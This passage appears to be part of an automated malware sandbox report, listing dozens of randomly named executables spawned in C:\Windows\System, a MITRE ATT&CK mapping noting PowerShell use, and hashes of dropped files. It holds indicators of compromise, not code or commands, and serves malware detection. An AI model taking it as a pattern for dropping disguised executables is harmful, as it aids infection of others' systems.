- C:\Windows\System\RGEaJew.exe
  C:\Windows\System\RGEaJew.exe
  2⤵
  PID:2616
- C:\Windows\System\pgunpYo.exe
  C:\Windows\System\pgunpYo.exe
  2⤵
  PID:8784
- C:\Windows\System\YgPYCxM.exe
  C:\Windows\System\YgPYCxM.exe
  2⤵
  PID:9732
- C:\Windows\System\vvIrEkP.exe
  C:\Windows\System\vvIrEkP.exe
  2⤵
  PID:5356
- C:\Windows\System\gxGUBJB.exe
  C:\Windows\System\gxGUBJB.exe
  2⤵
  PID:9004
- C:\Windows\System\gzRLfeP.exe
  C:\Windows\System\gzRLfeP.exe
  2⤵
  PID:13524
- C:\Windows\System\LCzuvLW.exe
  C:\Windows\System\LCzuvLW.exe
  2⤵
  PID:8932
- C:\Windows\System\jthduLA.exe
  C:\Windows\System\jthduLA.exe
  2⤵
  PID:4544
- C:\Windows\System\sbQAIPL.exe
  C:\Windows\System\sbQAIPL.exe
  2⤵
  PID:10076
- C:\Windows\System\eVgZffv.exe
  C:\Windows\System\eVgZffv.exe
  2⤵
  PID:7460
- C:\Windows\System\TOGSguF.exe
  C:\Windows\System\TOGSguF.exe
  2⤵
  PID:4668
- C:\Windows\System\ztFIHav.exe
  C:\Windows\System\ztFIHav.exe
  2⤵
  PID:10792
- C:\Windows\System\nJuhzPj.exe
  C:\Windows\System\nJuhzPj.exe
  2⤵
  PID:7436
- C:\Windows\System\wcqtfax.exe
  C:\Windows\System\wcqtfax.exe
  2⤵
  PID:5372
- C:\Windows\System\bJhaRQY.exe
  C:\Windows\System\bJhaRQY.exe
  2⤵
  PID:1896
- C:\Windows\System\KRQDftF.exe
  C:\Windows\System\KRQDftF.exe
  2⤵
  PID:7252
- C:\Windows\System\qOfwGnY.exe
  C:\Windows\System\qOfwGnY.exe
  2⤵
  PID:9168
- C:\Windows\System\YqdXGjK.exe
  C:\Windows\System\YqdXGjK.exe
  2⤵
  PID:8292
- C:\Windows\System\kYKZJGf.exe
  C:\Windows\System\kYKZJGf.exe
  2⤵
  PID:9692
- C:\Windows\System\luUvfNl.exe
  C:\Windows\System\luUvfNl.exe
  2⤵
  PID:9508
- C:\Windows\System\LAuqFMj.exe
  C:\Windows\System\LAuqFMj.exe
  2⤵
  PID:6936
- C:\Windows\System\nzmMDbF.exe
  C:\Windows\System\nzmMDbF.exe
  2⤵
  PID:5488
- C:\Windows\System\zksvyxQ.exe
  C:\Windows\System\zksvyxQ.exe
  2⤵
  PID:13600
- C:\Windows\System\uEUVkOz.exe
  C:\Windows\System\uEUVkOz.exe
  2⤵
  PID:9748
- C:\Windows\System\YdkMmBe.exe
  C:\Windows\System\YdkMmBe.exe
  2⤵
  PID:8956
- C:\Windows\System\BORzOZG.exe
  C:\Windows\System\BORzOZG.exe
  2⤵
  PID:8824
- C:\Windows\System\Hadrvgd.exe
  C:\Windows\System\Hadrvgd.exe
  2⤵
  PID:10060
- C:\Windows\System\sYeTBVF.exe
  C:\Windows\System\sYeTBVF.exe
  2⤵
  PID:9072
- C:\Windows\System\QOeFwEM.exe
  C:\Windows\System\QOeFwEM.exe
  2⤵
  PID:10008
- C:\Windows\System\tlkiXFK.exe
  C:\Windows\System\tlkiXFK.exe
  2⤵
  PID:7936
- C:\Windows\System\vMzBYQZ.exe
  C:\Windows\System\vMzBYQZ.exe
  2⤵
  PID:10028
- C:\Windows\System\smljjFz.exe
  C:\Windows\System\smljjFz.exe
  2⤵
  PID:6196
- C:\Windows\System\dZSbIdG.exe
  C:\Windows\System\dZSbIdG.exe
  2⤵
  PID:3016
- C:\Windows\System\wXKGTNR.exe
  C:\Windows\System\wXKGTNR.exe
  2⤵
  PID:10564
- C:\Windows\System\OpNsvTJ.exe
  C:\Windows\System\OpNsvTJ.exe
  2⤵
  PID:10108
- C:\Windows\System\edFquZb.exe
  C:\Windows\System\edFquZb.exe
  2⤵
  PID:8348
- C:\Windows\System\OzPCqFE.exe
  C:\Windows\System\OzPCqFE.exe
  2⤵
  PID:8340
- C:\Windows\System\QyXLGNt.exe
  C:\Windows\System\QyXLGNt.exe
  2⤵
  PID:9652
- C:\Windows\System\peLpJYi.exe
  C:\Windows\System\peLpJYi.exe
  2⤵
  PID:10788
- C:\Windows\System\MOVbFBr.exe
  C:\Windows\System\MOVbFBr.exe
  2⤵
  PID:10820
- C:\Windows\System\FOohTXK.exe
  C:\Windows\System\FOohTXK.exe
  2⤵
  PID:10836
- C:\Windows\System\hSUfQMS.exe
  C:\Windows\System\hSUfQMS.exe
  2⤵
  PID:10436
- C:\Windows\System\jWKKYsR.exe
  C:\Windows\System\jWKKYsR.exe
  2⤵
  PID:8604
- C:\Windows\System\GukIYrh.exe
  C:\Windows\System\GukIYrh.exe
  2⤵
  PID:7588
- C:\Windows\System\CITMRgW.exe
  C:\Windows\System\CITMRgW.exe
  2⤵
  PID:10480
- C:\Windows\System\snQucva.exe
  C:\Windows\System\snQucva.exe
  2⤵
  PID:10516
- C:\Windows\System\tCpGpHv.exe
  C:\Windows\System\tCpGpHv.exe
  2⤵
  PID:4564
- C:\Windows\System\QgHyoMt.exe
  C:\Windows\System\QgHyoMt.exe
  2⤵
  PID:9644
- C:\Windows\System\lqJxvqY.exe
  C:\Windows\System\lqJxvqY.exe
  2⤵
  PID:6176
- C:\Windows\System\tHzlCLI.exe
  C:\Windows\System\tHzlCLI.exe
  2⤵
  PID:7776
- C:\Windows\System\BdyHNxc.exe
  C:\Windows\System\BdyHNxc.exe
  2⤵
  PID:6412
- C:\Windows\System\iuhLLnT.exe
  C:\Windows\System\iuhLLnT.exe
  2⤵
  PID:10796
- C:\Windows\System\wMFIped.exe
  C:\Windows\System\wMFIped.exe
  2⤵
  PID:2116
- C:\Windows\System\HVqvXIP.exe
  C:\Windows\System\HVqvXIP.exe
  2⤵
  PID:880
- C:\Windows\System\nnwUJMK.exe
  C:\Windows\System\nnwUJMK.exe
  2⤵
  PID:8380
- C:\Windows\System\CUbWrxk.exe
  C:\Windows\System\CUbWrxk.exe
  2⤵
  PID:5384
- C:\Windows\System\lLXEDBX.exe
  C:\Windows\System\lLXEDBX.exe
  2⤵
  PID:11136
- C:\Windows\System\fmoijUm.exe
  C:\Windows\System\fmoijUm.exe
  2⤵
  PID:5468
- C:\Windows\System\NNvCxzU.exe
  C:\Windows\System\NNvCxzU.exe
  2⤵
  PID:13568
- C:\Windows\System\SXZlEIR.exe
  C:\Windows\System\SXZlEIR.exe
  2⤵
  PID:2276
- C:\Windows\System\zsPgXvS.exe
  C:\Windows\System\zsPgXvS.exe
  2⤵
  PID:11248
- C:\Windows\System\oITioEe.exe
  C:\Windows\System\oITioEe.exe
  2⤵
  PID:9984
- C:\Windows\System\grQnUUi.exe
  C:\Windows\System\grQnUUi.exe
  2⤵
  PID:10916
- C:\Windows\System\mDRNhFq.exe
  C:\Windows\System\mDRNhFq.exe
  2⤵
  PID:6040
- C:\Windows\System\XQxiByx.exe
  C:\Windows\System\XQxiByx.exe
  2⤵
  PID:9680
- C:\Windows\System\SNvnDCE.exe
  C:\Windows\System\SNvnDCE.exe
  2⤵
  PID:11144
- C:\Windows\System\rPrQFdV.exe
  C:\Windows\System\rPrQFdV.exe
  2⤵
  PID:10696
- C:\Windows\System\JJIRQLC.exe
  C:\Windows\System\JJIRQLC.exe
  2⤵
  PID:10404
- C:\Windows\System\BCgFBpT.exe
  C:\Windows\System\BCgFBpT.exe
  2⤵
  PID:9932
- C:\Windows\System\lMmCsGs.exe
  C:\Windows\System\lMmCsGs.exe
  2⤵
  PID:9300
- C:\Windows\System\pElceME.exe
  C:\Windows\System\pElceME.exe
  2⤵
  PID:10368
- C:\Windows\System\GWiCXcc.exe
  C:\Windows\System\GWiCXcc.exe
  2⤵
  PID:10056
- C:\Windows\System\WFAhxjf.exe
  C:\Windows\System\WFAhxjf.exe
  2⤵
  PID:7744
- C:\Windows\System\renLtrQ.exe
  C:\Windows\System\renLtrQ.exe
  2⤵
  PID:9260
- C:\Windows\System\TiNDQLj.exe
  C:\Windows\System\TiNDQLj.exe
  2⤵
  PID:7560
- C:\Windows\System\dfdakPR.exe
  C:\Windows\System\dfdakPR.exe
  2⤵
  PID:11508
- C:\Windows\System\XOxMuaf.exe
  C:\Windows\System\XOxMuaf.exe
  2⤵
  PID:11516
- C:\Windows\System\uKUONTB.exe
  C:\Windows\System\uKUONTB.exe
  2⤵
  PID:8640
- C:\Windows\System\UyucLbH.exe
  C:\Windows\System\UyucLbH.exe
  2⤵
  PID:11096
- C:\Windows\System\eovlhOS.exe
  C:\Windows\System\eovlhOS.exe
  2⤵
  PID:8756
- C:\Windows\System\ndZCNKw.exe
  C:\Windows\System\ndZCNKw.exe
  2⤵
  PID:11808
- C:\Windows\System\TzslrOF.exe
  C:\Windows\System\TzslrOF.exe
  2⤵
  PID:5764
- C:\Windows\System\LhIawYX.exe
  C:\Windows\System\LhIawYX.exe
  2⤵
  PID:10616
- C:\Windows\System\USrYaoP.exe
  C:\Windows\System\USrYaoP.exe
  2⤵
  PID:7556
- C:\Windows\System\KPCPMNS.exe
  C:\Windows\System\KPCPMNS.exe
  2⤵
  PID:6348
- C:\Windows\System\ytVGHmc.exe
  C:\Windows\System\ytVGHmc.exe
  2⤵
  PID:2624
- C:\Windows\System\vdTKasz.exe
  C:\Windows\System\vdTKasz.exe
  2⤵
  PID:12180
- C:\Windows\System\ifBOWTE.exe
  C:\Windows\System\ifBOWTE.exe
  2⤵
  PID:10952
- C:\Windows\System\qhWkylE.exe
  C:\Windows\System\qhWkylE.exe
  2⤵
  PID:7844
- C:\Windows\System\mLTApgq.exe
  C:\Windows\System\mLTApgq.exe
  2⤵
  PID:9552
- C:\Windows\System\FsBRdWw.exe
  C:\Windows\System\FsBRdWw.exe
  2⤵
  PID:11572
- C:\Windows\System\kdHnQZI.exe
  C:\Windows\System\kdHnQZI.exe
  2⤵
  PID:11160
- C:\Windows\System\aqvqKFL.exe
  C:\Windows\System\aqvqKFL.exe
  2⤵
  PID:11364
- C:\Windows\System\TttPxxd.exe
  C:\Windows\System\TttPxxd.exe
  2⤵
  PID:13620
- C:\Windows\System\hEAUHsD.exe
  C:\Windows\System\hEAUHsD.exe
  2⤵
  PID:11988
- C:\Windows\System\YOfVtSg.exe
  C:\Windows\System\YOfVtSg.exe
  2⤵
  PID:11192
- C:\Windows\System\eSQbUqu.exe
  C:\Windows\System\eSQbUqu.exe
  2⤵
  PID:12552
- C:\Windows\System\tFCHuMh.exe
  C:\Windows\System\tFCHuMh.exe
  2⤵
  PID:12604
- C:\Windows\System\pQEpLVu.exe
  C:\Windows\System\pQEpLVu.exe
  2⤵
  PID:11680
- C:\Windows\System\rwWYWRJ.exe
  C:\Windows\System\rwWYWRJ.exe
  2⤵
  PID:10476
- C:\Windows\System\BCOWdRD.exe
  C:\Windows\System\BCOWdRD.exe
  2⤵
  PID:10712
- C:\Windows\System\PfeezOA.exe
  C:\Windows\System\PfeezOA.exe
  2⤵
  PID:9776
- C:\Windows\System\MBhFOrY.exe
  C:\Windows\System\MBhFOrY.exe
  2⤵
  PID:13100
- C:\Windows\System\zBICHzf.exe
  C:\Windows\System\zBICHzf.exe
  2⤵
  PID:10744
- C:\Windows\System\MavrZVu.exe
  C:\Windows\System\MavrZVu.exe
  2⤵
  PID:6688
- C:\Windows\System\XFsZCok.exe
  C:\Windows\System\XFsZCok.exe
  2⤵
  PID:10468
- C:\Windows\System\ZhVGvJc.exe
  C:\Windows\System\ZhVGvJc.exe
  2⤵
  PID:12120
- C:\Windows\System\tdYfCns.exe
  C:\Windows\System\tdYfCns.exe
  2⤵
  PID:12664
- C:\Windows\System\uKQtJlG.exe
  C:\Windows\System\uKQtJlG.exe
  2⤵
  PID:12700
- C:\Windows\System\KPelVKe.exe
  C:\Windows\System\KPelVKe.exe
  2⤵
  PID:10548
- C:\Windows\System\VeIInuA.exe
  C:\Windows\System\VeIInuA.exe
  2⤵
  PID:5708
- C:\Windows\System\CezcMZj.exe
  C:\Windows\System\CezcMZj.exe
  2⤵
  PID:13104
- C:\Windows\System\wJgMGem.exe
  C:\Windows\System\wJgMGem.exe
  2⤵
  PID:13232
- C:\Windows\System\JkBnJAL.exe
  C:\Windows\System\JkBnJAL.exe
  2⤵
  PID:10640
- C:\Windows\System\LTHigAL.exe
  C:\Windows\System\LTHigAL.exe
  2⤵
  PID:6380
- C:\Windows\System\dmtseyv.exe
  C:\Windows\System\dmtseyv.exe
  2⤵
  PID:7424
- C:\Windows\System\watoiTO.exe
  C:\Windows\System\watoiTO.exe
  2⤵
  PID:5472
- C:\Windows\System\ZvjlnYs.exe
  C:\Windows\System\ZvjlnYs.exe
  2⤵
  PID:9464
- C:\Windows\System\sSGdgFx.exe
  C:\Windows\System\sSGdgFx.exe
  2⤵
  PID:8128
- C:\Windows\System\CbKAifU.exe
  C:\Windows\System\CbKAifU.exe
  2⤵
  PID:4852
- C:\Windows\System\DNByNzq.exe
  C:\Windows\System\DNByNzq.exe
  2⤵
  PID:10676
- C:\Windows\System\KCfeFTj.exe
  C:\Windows\System\KCfeFTj.exe
  2⤵
  PID:10876
- C:\Windows\System\pWzPypF.exe
  C:\Windows\System\pWzPypF.exe
  2⤵
  PID:12904
- C:\Windows\System\eWhCByM.exe
  C:\Windows\System\eWhCByM.exe
  2⤵
  PID:10152
- C:\Windows\System\xtKTaSY.exe
  C:\Windows\System\xtKTaSY.exe
  2⤵
  PID:10804
- C:\Windows\System\qhrZcgF.exe
  C:\Windows\System\qhrZcgF.exe
  2⤵
  PID:8492
- C:\Windows\System\xeyJjVb.exe
  C:\Windows\System\xeyJjVb.exe
  2⤵
  PID:12028
- C:\Windows\System\IpkxeNs.exe
  C:\Windows\System\IpkxeNs.exe
  2⤵
  PID:13152
- C:\Windows\System\DtEShEj.exe
  C:\Windows\System\DtEShEj.exe
  2⤵
  PID:10416
- C:\Windows\System\CQFFXTs.exe
  C:\Windows\System\CQFFXTs.exe
  2⤵
  PID:12192
- C:\Windows\System\WiEiFlJ.exe
  C:\Windows\System\WiEiFlJ.exe
  2⤵
  PID:11600
- C:\Windows\System\YkjTYPn.exe
  C:\Windows\System\YkjTYPn.exe
  2⤵
  PID:10488
- C:\Windows\System\ekcXrpU.exe
  C:\Windows\System\ekcXrpU.exe
  2⤵
  PID:12752
- C:\Windows\System\HJTtYkC.exe
  C:\Windows\System\HJTtYkC.exe
  2⤵
  PID:13256
- C:\Windows\System\pYOlMFa.exe
  C:\Windows\System\pYOlMFa.exe
  2⤵
  PID:8644
- C:\Windows\System\pxXqGjD.exe
  C:\Windows\System\pxXqGjD.exe
  2⤵
  PID:2632
- C:\Windows\System\dLzFwrX.exe
  C:\Windows\System\dLzFwrX.exe
  2⤵
  PID:11156
- C:\Windows\System\TcLANCj.exe
  C:\Windows\System\TcLANCj.exe
  2⤵
  PID:14200
- C:\Windows\System\jzsmBMU.exe
  C:\Windows\System\jzsmBMU.exe
  2⤵
  PID:8460
- C:\Windows\System\YQdwUew.exe
  C:\Windows\System\YQdwUew.exe
  2⤵
  PID:10308
- C:\Windows\System\eolyOJu.exe
  C:\Windows\System\eolyOJu.exe
  2⤵
  PID:9968
- C:\Windows\System\lMtXzcm.exe
  C:\Windows\System\lMtXzcm.exe
  2⤵
  PID:11084
- C:\Windows\System\zemiVPm.exe
  C:\Windows\System\zemiVPm.exe
  2⤵
  PID:8556
- C:\Windows\System\StWqtrV.exe
  C:\Windows\System\StWqtrV.exe
  2⤵
  PID:11864
- C:\Windows\System\pDyJHXY.exe
  C:\Windows\System\pDyJHXY.exe
  2⤵
  PID:11648
- C:\Windows\System\yRAYyVj.exe
  C:\Windows\System\yRAYyVj.exe
  2⤵
  PID:8912
- C:\Windows\System\VAzuTZB.exe
  C:\Windows\System\VAzuTZB.exe
  2⤵
  PID:12672
- C:\Windows\System\GpYhwPd.exe
  C:\Windows\System\GpYhwPd.exe
  2⤵
  PID:6108
- C:\Windows\System\dcGTgyh.exe
  C:\Windows\System\dcGTgyh.exe
  2⤵
  PID:6216
- C:\Windows\System\bnbQfvQ.exe
  C:\Windows\System\bnbQfvQ.exe
  2⤵
  PID:9676
- C:\Windows\System\hxJhzML.exe
  C:\Windows\System\hxJhzML.exe
  2⤵
  PID:9352
- C:\Windows\System\KvDFSKr.exe
  C:\Windows\System\KvDFSKr.exe
  2⤵
  PID:8484
- C:\Windows\System\JMTFOuH.exe
  C:\Windows\System\JMTFOuH.exe
  2⤵
  PID:12660
- C:\Windows\System\yNKDeKh.exe
  C:\Windows\System\yNKDeKh.exe
  2⤵
  PID:8828
- C:\Windows\System\bkJUlkC.exe
  C:\Windows\System\bkJUlkC.exe
  2⤵
  PID:10956
- C:\Windows\System\VZjXGhU.exe
  C:\Windows\System\VZjXGhU.exe
  2⤵
  PID:12588
- C:\Windows\System\MkRuapV.exe
  C:\Windows\System\MkRuapV.exe
  2⤵
  PID:12512
- C:\Windows\System\RhgQjvZ.exe
  C:\Windows\System\RhgQjvZ.exe
  2⤵
  PID:12008
- C:\Windows\System\YWPzGlD.exe
  C:\Windows\System\YWPzGlD.exe
  2⤵
  PID:11716
- C:\Windows\System\bHGoVJm.exe
  C:\Windows\System\bHGoVJm.exe
  2⤵
  PID:13248
- C:\Windows\System\BTQCAAO.exe
  C:\Windows\System\BTQCAAO.exe
  2⤵
  PID:3356
- C:\Windows\System\ZIymeuo.exe
  C:\Windows\System\ZIymeuo.exe
  2⤵
  PID:12276
- C:\Windows\System\gkvhMvB.exe
  C:\Windows\System\gkvhMvB.exe
  2⤵
  PID:13132
- C:\Windows\System\IRzGNCY.exe
  C:\Windows\System\IRzGNCY.exe
  2⤵
  PID:13192
- C:\Windows\System\jPtsukZ.exe
  C:\Windows\System\jPtsukZ.exe
  2⤵
  PID:9828
- C:\Windows\System\orUREEM.exe
  C:\Windows\System\orUREEM.exe
  2⤵
  PID:12740
- C:\Windows\System\lDdQqLi.exe
  C:\Windows\System\lDdQqLi.exe
  2⤵
  PID:6780
- C:\Windows\System\tcgyPMl.exe
  C:\Windows\System\tcgyPMl.exe
  2⤵
  PID:8436
- C:\Windows\System\xFNqjNe.exe
  C:\Windows\System\xFNqjNe.exe
  2⤵
  PID:11844
- C:\Windows\System\WasEIbV.exe
  C:\Windows\System\WasEIbV.exe
  2⤵
  PID:12564
- C:\Windows\System\fklEPtC.exe
  C:\Windows\System\fklEPtC.exe
  2⤵
  PID:13300
- C:\Windows\System\WfvntgX.exe
  C:\Windows\System\WfvntgX.exe
  2⤵
  PID:6836
- C:\Windows\System\JZyIGJs.exe
  C:\Windows\System\JZyIGJs.exe
  2⤵
  PID:5092
- C:\Windows\System\iumUkWT.exe
  C:\Windows\System\iumUkWT.exe
  2⤵
  PID:728
- C:\Windows\System\LhhatCd.exe
  C:\Windows\System\LhhatCd.exe
  2⤵
  PID:4572
- C:\Windows\System\zNGcDNA.exe
  C:\Windows\System\zNGcDNA.exe
  2⤵
  PID:4312
- C:\Windows\System\xmmmQcJ.exe
  C:\Windows\System\xmmmQcJ.exe
  2⤵
  PID:4840
- C:\Windows\System\ECzcoAg.exe
  C:\Windows\System\ECzcoAg.exe
  2⤵
  PID:8464
- C:\Windows\System\pGYuRPN.exe
  C:\Windows\System\pGYuRPN.exe
  2⤵
  PID:4428
- C:\Windows\System\hgXpgjk.exe
  C:\Windows\System\hgXpgjk.exe
  2⤵
  PID:4760
- C:\Windows\System\xpqDVqS.exe
  C:\Windows\System\xpqDVqS.exe
  2⤵
  PID:13096
- C:\Windows\System\UYiPPpD.exe
  C:\Windows\System\UYiPPpD.exe
  2⤵
  PID:12624
- C:\Windows\System\eYTzqLU.exe
  C:\Windows\System\eYTzqLU.exe
  2⤵
  PID:13472
- C:\Windows\System\uYygbEG.exe
  C:\Windows\System\uYygbEG.exe
  2⤵
  PID:7348
- C:\Windows\System\LyVlrPN.exe
  C:\Windows\System\LyVlrPN.exe
  2⤵
  PID:6884
- C:\Windows\System\UGmQcVM.exe
  C:\Windows\System\UGmQcVM.exe
  2⤵
  PID:12156
- C:\Windows\System\lTEqVqA.exe
  C:\Windows\System\lTEqVqA.exe
  2⤵
  PID:13560
- C:\Windows\System\MUVYRtl.exe
  C:\Windows\System\MUVYRtl.exe
  2⤵
  PID:12284
- C:\Windows\System\jHuHXTB.exe
  C:\Windows\System\jHuHXTB.exe
  2⤵
  PID:13200
- C:\Windows\System\xyWgLEd.exe
  C:\Windows\System\xyWgLEd.exe
  2⤵
  PID:4000
- C:\Windows\System\rcnEZyV.exe
  C:\Windows\System\rcnEZyV.exe
  2⤵
  PID:12052
- C:\Windows\System\BIjolwM.exe
  C:\Windows\System\BIjolwM.exe
  2⤵
  PID:12932
- C:\Windows\System\MRZNkmy.exe
  C:\Windows\System\MRZNkmy.exe
  2⤵
  PID:13428
- C:\Windows\System\mXMdczi.exe
  C:\Windows\System\mXMdczi.exe
  2⤵
  PID:13756

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:12048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hlhnq3pj.nre.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\CaSkqOe.exe

Filesize
2.0MB

MD5
2f0aaf6ba9a74923ac68a2d6e64afeba

SHA1
92c2714cf9f580dd6f148352395bda53a299dc35

SHA256
9ae8344a9728e970929618cff61f507421055c6da362fb6919417c43ae29dee1

SHA512
a4e8a2326e62d29484b0d0209b9390db936bfd5a4caa78fb1cb09ce0c319b5df4f8668f29822bfc8b97cb700ec2b8eab74cf194cdbce337255e238a848d74b2b

Download Submit
C:\Windows\System\GGzJKBC.exe

Filesize
2.0MB

MD5
31771022404b8bd19fb7657ddd0618da

SHA1
bbc0304d6a31e97fda18728b016f576d3ff757b4

SHA256
1801dc741ba88bad5ae66cb567941682efa329a81f3a53740c36308caf61b7c0

SHA512
236efd841b70efe4a672c0fbc45f4d6227e46f576c715f28b1c78a9ec9878a8d2376434b01155a6f116ffb053ea6e6d450824246ff4311a8c3ef54ce765a4beb

Download Submit
C:\Windows\System\GZXeGLl.exe

Filesize
2.0MB

MD5
15b6186af9f7b5738bbb8c6e5e4e11f1

SHA1
b0ca737bf68cab898bd67681735804f6559a41a6

SHA256
bd6f8bf7c51c17f39d9fee154bd43fd64f417c8525811aefff6fbfa77dfe0972

SHA512
cdd599a8981d24af03a7f32ecb5d4377ef288f860056bcbeebbf67de693299743abc8b80e46d592c7fb306e18e3e1ca69acd466b6643d68a39aedf92e37ae766

Download Submit
C:\Windows\System\IEqQqCN.exe

Filesize
2.0MB

MD5
bb1600b2c2e7023d3a41b8c49908db56

SHA1
8b3a376dfe74ff7f33fc8aa703373cf584289b6b

SHA256
15ff2ad649cc44093f2434b3781426de58598fe2d28877cdbe7484f558398273

SHA512
b9cc0ad6eaad5dc78438f4bb30e52d99a1f7f3624d3ad2d623364eb157c319c7b7c9bd492f66c15935cb36ca420c307c2b9fdc96d66a1811c406c4cb217c0aad

Download Submit
C:\Windows\System\IiZtdEz.exe

Filesize
2.0MB

MD5
a218ae80fc20be5417d20596ef61b057

SHA1
303578f1646fafb32c26ed063a98bf4adf8b6b3b

SHA256
246ed47d23396c21e3e1b3edfb857496ebfc8b90692cd88768225637993ceda5

SHA512
3cd21b219cdc4b0af55b9b45c7f9ac9663c9bc057fec50beb06a6fa6c4bc1f10b5ede1092611b0831bfb9dc89659aac0507075af5e6457a0d791e7a5dd67f493

Download Submit
C:\Windows\System\JpWbzIS.exe

Filesize
2.0MB

MD5
844cd49a9cc0fae4f32b3e3568e47fef

SHA1
af0d73a03889fd0ec87d29be6b0b32bd107641ca

SHA256
23bba1b0822b3e331c531fc5cfff3682dcde2b8afbcb29c1f55aea80c2a0d0b8

SHA512
8397ca900553631533428b10a30c78c78041b0172a515d111a050013acc09d308746431a4a277bb6b9e863d87400c6823006b4c17e2ceeed8511ebf5c07fae06

Download Submit
C:\Windows\System\LSVnKSK.exe

Filesize
2.0MB

MD5
bd2a1d6e76ddd987796bb0303872fac5

SHA1
a5fd8c7579a26e31063fbdb9463e97f95b351ed5

SHA256
c4188d13e582933159e856df82a8b8f827c7e0c7d26266924271994040e21112

SHA512
ed8500e47c9d2a76b607efbb38785234a8264a49bafa640aa200165b19c9be5cdcfb53dd14922a8f33bcd68fa0b4cc264c9012ea5c7b8984d3135d2b2269d146

Download Submit
C:\Windows\System\NCeWNeC.exe

Filesize
8B

MD5
3f9cfe8a165fbe5ed357bf4fb6550d1a

SHA1
d1f76cef8b11f404ce3021901f1968e523167625

SHA256
fe7331c05f745b95f5509c04136ec2be8073cae1c2054bbe90290f3a5e3a1c01

SHA512
7c297d93de1529b68ba232f55d08c5bdfcf13a5c3741f810e605eeec9da08911d3d07e6bd5c21436fbf2be3db2070f19515d3ae2f1e7604c2ff2f34139c616ce

Download Submit
C:\Windows\System\NMlxpJk.exe

Filesize
2.0MB

MD5
2fa185ab948ff58363e4422ce9f1235b

SHA1
028947fd17a711437922081142c2f3f6b69526fd

SHA256
445a3d867b8cf1157b14abd26c7bea00f1522db49d3f3bd4d063f4cd561f752a

SHA512
a1b46ab046ecc9450942f54e148a6af88e92b164605a2adad6ee6ff3f2a1af7370c36c2572577db351c37e621c3fe43d7fc09da5c3ce376af62a321d4b461e28

Download Submit
C:\Windows\System\NzVhfVL.exe

Filesize
2.0MB

MD5
fe05750eae0f9a5e862c12cd7e4ce5f3

SHA1
2db6c23ad5b3e5b8b1fe42ead998b861d315ea93

SHA256
196c50e095d873cc80af5e45fa968ce79b5a5f57af7c31420d22b2b45f92761c

SHA512
f4fda0b39b2375aa0db02264741dc01402d469f324749484fbfb8f18544620009d0e6e0b0debe773b18300b87d50a0f0ce50a8ad6ced0bbb082bec9606900764

Download Submit
C:\Windows\System\OiJXPZy.exe

Filesize
2.0MB

MD5
706674e0f0eba6c95741a38c1235b438

SHA1
1ed7d2f37cb2d62431aaf7de9df3ea2f3431e905

SHA256
c5f20871e6f6df28d296a90ac02967d0c4f4c7aa912e04e2013dc8790d4beb74

SHA512
3d8eb83e35e365ece3f4983321123b89dea2feef2fbcc98e683e2ed967d95b61ca24ab0420339486d81018aae05948bf25e62e7d413fa860d798e05157cd9069

Download Submit
C:\Windows\System\QTrTcJh.exe

Filesize
2.0MB

MD5
83e2ed48ad07603dce541275575ae735

SHA1
e3cb037e21ee255963d0d7d957f54df03c7cb4fe

SHA256
361ecf84af2a609bb0a9f07546a4e28e0d6945f5f8ab02af97f126b2214331be

SHA512
86e44f49f5c0e9e571bed21e04d1286cbf13a7c9eb4a328dc5de873e0d6668b8774a48e448a0ccf906392bde0c8384ac3dde19c1ac4525d789082d179bb205c0

Download Submit
C:\Windows\System\RchrxJL.exe

Filesize
2.0MB

MD5
96765f57d7ff0e6339ec0fee4d5d65cd

SHA1
2f344690d75536eaf1ba03c1744179b61bf5d3ec

SHA256
6243bfcd9c1e56e1765b342e6a4dba7289853f910e43728835f8e603d33d7d5e

SHA512
825f71d31fc89b6ba7744655f634bf00cbb24e32a48a8d8382b68bdbe94ec029211586ae6a1175426af15c8a3599a65483ca513d04cb6f3ef98e0c2c5db14704

Download Submit
C:\Windows\System\SMaRknS.exe

Filesize
18B

MD5
ef758e56e906b9892f08e5e0fd0f13b2

SHA1
5d91983aa1bb61c5754ee9a01242f0bb098e7d43

SHA256
55949f339b372645d839eaa0847f4e244396f7e39c4586ddc776fb793deda110

SHA512
efd8bb7ef71cf583c97f5d0eac4e2fae239c80d85643b80c586971498ace127bb0c9565e46052e55211bb3dead5ae54145b84fc68e9ff4a6be2a5f6b0f086760

Download Submit
C:\Windows\System\SzfKOAG.exe

Filesize
2.0MB

MD5
50a687ac67dcbee7521f8e8a02434044

SHA1
7ff66065dbac6ba79d0f4f3819005a470ebc65dc

SHA256
d4590710a80e006ab0f2bd8d33cbd4fe1fe37d960b5b6ab0fa0ed53076302e24

SHA512
6c4ff3d7da49290813ec2da73290cb954d9f2e23adc744317f6f125b10359f32134f520f1a21bd36c43d2f176db2989aea4123f54a73453722820678170e544b

Download Submit
C:\Windows\System\TUiZgeA.exe

Filesize
2.0MB

MD5
b5497c0ca906ad972cc729835d5109ac

SHA1
7813204526fa19de45bfadcd59165180069fabd8

SHA256
63e20c44533a07dccd10668fcc8f801c4071dd838e40cdcaa584e365aa83f4b6

SHA512
66222847bc9a63da2616b386571cf7bbe9278fb999d007650e37b96400d7a871a8b44737b74418e5036183bc14da87fde1a5fac9f47b52dd7bbbeca5c5d40b37

Download Submit
C:\Windows\System\TqVYFGf.exe

Filesize
2.0MB

MD5
4392717c5bb8ceba81e9084c409d71b7

SHA1
a7d820bacac6e90b7745aa235bc055bc4a80f9ae

SHA256
3b3fc04670927f9aaaa4891244d145f26c5b220f8eaeda79d37d2adc5d2ee0a4

SHA512
6dfc1351016826b2c74d1cf71dd9a8e07f036c102687f0449147b3f118538bfad10b925b508959b41544989a12645e3e3798bd51a3236bca2cc02788881a4375

Download Submit
